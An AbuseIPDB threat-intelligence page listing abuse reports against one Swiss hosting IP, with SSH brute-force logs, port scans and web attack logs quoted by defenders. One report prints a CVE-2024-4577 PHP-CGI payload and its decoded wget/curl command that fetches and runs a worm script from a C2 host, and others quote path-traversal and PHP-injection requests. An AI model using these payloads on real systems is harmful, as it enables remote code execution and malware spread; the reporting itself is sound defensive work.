JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 167.148.183.147

167.148.183.147 was found in our database!

This IP was reported 41 times. Confidence of Abuse is 0%: ?

ISP	NetGrid Host LTD
Usage Type	Data Center/Web Hosting/Transit
ASN	AS202051
Domain Name	netgrid.host
Country	🇨🇭 Switzerland
City	Geneva, Geneva

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 167.148.183.147

Whois 167.148.183.147

IP Abuse Reports for 167.148.183.147:

This IP address has been reported a total of 41 times from 34 distinct sources. 167.148.183.147 was first reported on March 5th 2026, and the most recent report was 3 months ago.

Old Reports: The most recent abuse report for this IP address is from 3 months ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇫🇷 SpaceHost-Server	2026-03-07 23:35:05 (3 months ago)		Brute-Force Web App Attack
🇹🇷 rtbh.com.tr	2026-03-07 20:11:55 (3 months ago)	list.rtbh.com.tr report: tcp/0	Brute-Force
🇩🇪 ministar-interneta	2026-03-06 13:12:00 (3 months ago)	Abuse Report — 167.148.183.147 (Switzerland, NetGrid Host LTD AS202051) Date/Time: 2026-03-05 04:10 ... show more Abuse Report — 167.148.183.147 (Switzerland, NetGrid Host LTD AS202051) Date/Time: 2026-03-05 04:10:46 UTC Anomaly Score: 28 (threshold: 5) — extremely high Source: NetGrid Host LTD (Switzerland), a network known for hosting malicious activity. Attack summary — multiple vectors in a single request: 1. CVE-2024-4577 Exploit (PHP-CGI RCE) Critical 2024 PHP vulnerability. Payload sent: <?php shell_exec(base64_decode("KHdnZXQg...")); echo(md5("Hello CVE-2024-4577")); ?> Decoded payload: (wget --no-check-certificate -qO- https://178.16.55.224/sh \|\| curl -sk https://178.16.55.224/sh) \| sh -s cve_2024_4577.selfrep This downloads and executes a self-replicating shell script (worm) from 178.16.55.224, a malware C2 server. 2. PHP Configuration Injection allow_url_include=1 auto_prepend_file=php://input Attempt to enable remote file inclusion and prepend malicious PHP to all requests. 3. PHPUnit Exploit Attempt Targeted /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php. show less	Web Spam Spoofing Brute-Force Bad Web Bot Exploited Host Web App Attack Ping of Death Phishing Blog Spam Hacking SQL Injection
Anonymous	2026-03-06 00:32:00 (3 months ago)	eval-stdin.php	Brute-Force Web App Attack Hacking
🇦🇹 urnilxfgbez	2026-03-05 23:45:00 (3 months ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇫🇷 SpaceHost-Server	2026-03-05 23:34:42 (3 months ago)		Brute-Force Web App Attack
🇹🇷 rtbh.com.tr	2026-03-05 20:11:54 (3 months ago)	list.rtbh.com.tr report: tcp/0	Brute-Force
🇬🇧 venus.launch.bz	2026-03-05 06:58:56 (3 months ago)	(wpscan) WordPress probe detected from 167.148.183.147 (CH/Switzerland/-)	Hacking
🇵🇱 tkhaldi	2026-03-05 06:50:22 (3 months ago)	2026-03-05T06:46:18.935675+00:00 scw-elegant-chopin sshd-session[1679448]: Invalid user admin from 1 ... show more 2026-03-05T06:46:18.935675+00:00 scw-elegant-chopin sshd-session[1679448]: Invalid user admin from 167.148.183.147 port 34222 2026-03-05T06:46:49.220026+00:00 scw-elegant-chopin sshd-session[1679488]: Invalid user orangepi from 167.148.183.147 port 63260 2026-03-05T06:50:21.440595+00:00 scw-elegant-chopin sshd-session[1679677]: Invalid user test from 167.148.183.147 port 38728 ... show less	Brute-Force SSH
🇫🇷 security.rdmc.fr	2026-03-05 06:45:49 (3 months ago)	Port Scan Attack proto:TCP src:61516 dst:23	Port Scan
🇹🇭 Sawasdee	2026-03-05 06:45:05 (3 months ago)	Unwanted checking 80 or 443 port ...	Bad Web Bot
🇺🇸 bigscoots.com	2026-03-05 06:44:26 (3 months ago)	(sshd) Failed SSH login from 167.148.183.147 (CH/Switzerland/-): 5 in the last 3600 secs; Ports: ; ... show more (sshd) Failed SSH login from 167.148.183.147 (CH/Switzerland/-): 5 in the last 3600 secs; Ports: ; Direction: 1; Trigger: LF_SSHD; Logs: Mar 5 00:43:00 17126 sshd[30619]: Invalid user admin from 167.148.183.147 port 47448 Mar 5 00:43:03 17126 sshd[30619]: Failed password for invalid user admin from 167.148.183.147 port 47448 ssh2 Mar 5 00:43:34 17126 sshd[30684]: Invalid user orangepi from 167.148.183.147 port 50606 Mar 5 00:43:35 17126 sshd[30684]: Failed password for invalid user orangepi from 167.148.183.147 port 50606 ssh2 Mar 5 00:44:06 17126 sshd[30752]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.148.183.147 user=root show less	Brute-Force SSH
🇯🇵 Beonesoft	2026-03-05 06:44:08 (3 months ago)	SiteGuard Lite: SQL Injection blocked. Rule: sqlinj-114	Web App Attack
🇺🇸 xmission.com	2026-03-05 06:39:21 (3 months ago)	Blocked by UFW (TCP on 80) Source port: 37215 TTL: 54 Packet length: 40 TOS: 0x00 This report (for ... show more Blocked by UFW (TCP on 80) Source port: 37215 TTL: 54 Packet length: 40 TOS: 0x00 This report (for 167.148.183.147) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Web App Attack
🇺🇸 Damian Feg	2026-03-05 06:38:46 (3 months ago)	167.148.183.147 74.110.200.82:80 - [05/Mar/2026:01:38:43 -0500] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/. ... show more 167.148.183.147 74.110.200.82:80 - [05/Mar/2026:01:38:43 -0500] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 403 341 "-" "libredtail-http" 167.148.183.147 74.110.200.82:80 - [05/Mar/2026:01:38:44 -0500] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 403 341 "-" "libredtail-http" 167.148.183.147 74.110.200.82:80 - [05/Mar/2026:01:38:44 -0500] "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 403 341 "-" "libredtail-http" 167.148.183.147 74.110.200.82:80 - [05/Mar/2026:01:38:44 -0500] "POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 403 341 "-" "libredtail-http" 167.148.183.147 74.110.200.82:80 - [05/Mar/2026:01:38:44 -0500] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 400 345 "-" "libredtail-http" ... show less	Port Scan

Showing 1 to 15 of 41 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇹🇭 223.205.166.27

🇰🇷 211.105.129.57

🇬🇧 188.240.59.53

🇹🇳 165.51.19.42

🇱🇹 81.30.98.44

🇺🇸 64.62.197.187

🇵🇰 59.103.97.95

🇩🇪 45.130.203.157

🇰🇿 37.151.243.2

🇮🇳 182.95.111.46

🇳🇱 176.65.149.67

🇸🇬 152.42.202.19

🇮🇳 139.59.86.13

🇨🇳 111.33.86.36

🇺🇸 109.105.209.18

🇳🇱 91.92.40.7

🇨🇳 58.210.182.18

🇺🇸 52.182.143.214

🇩🇪 46.101.180.162

🇳🇱 45.148.10.147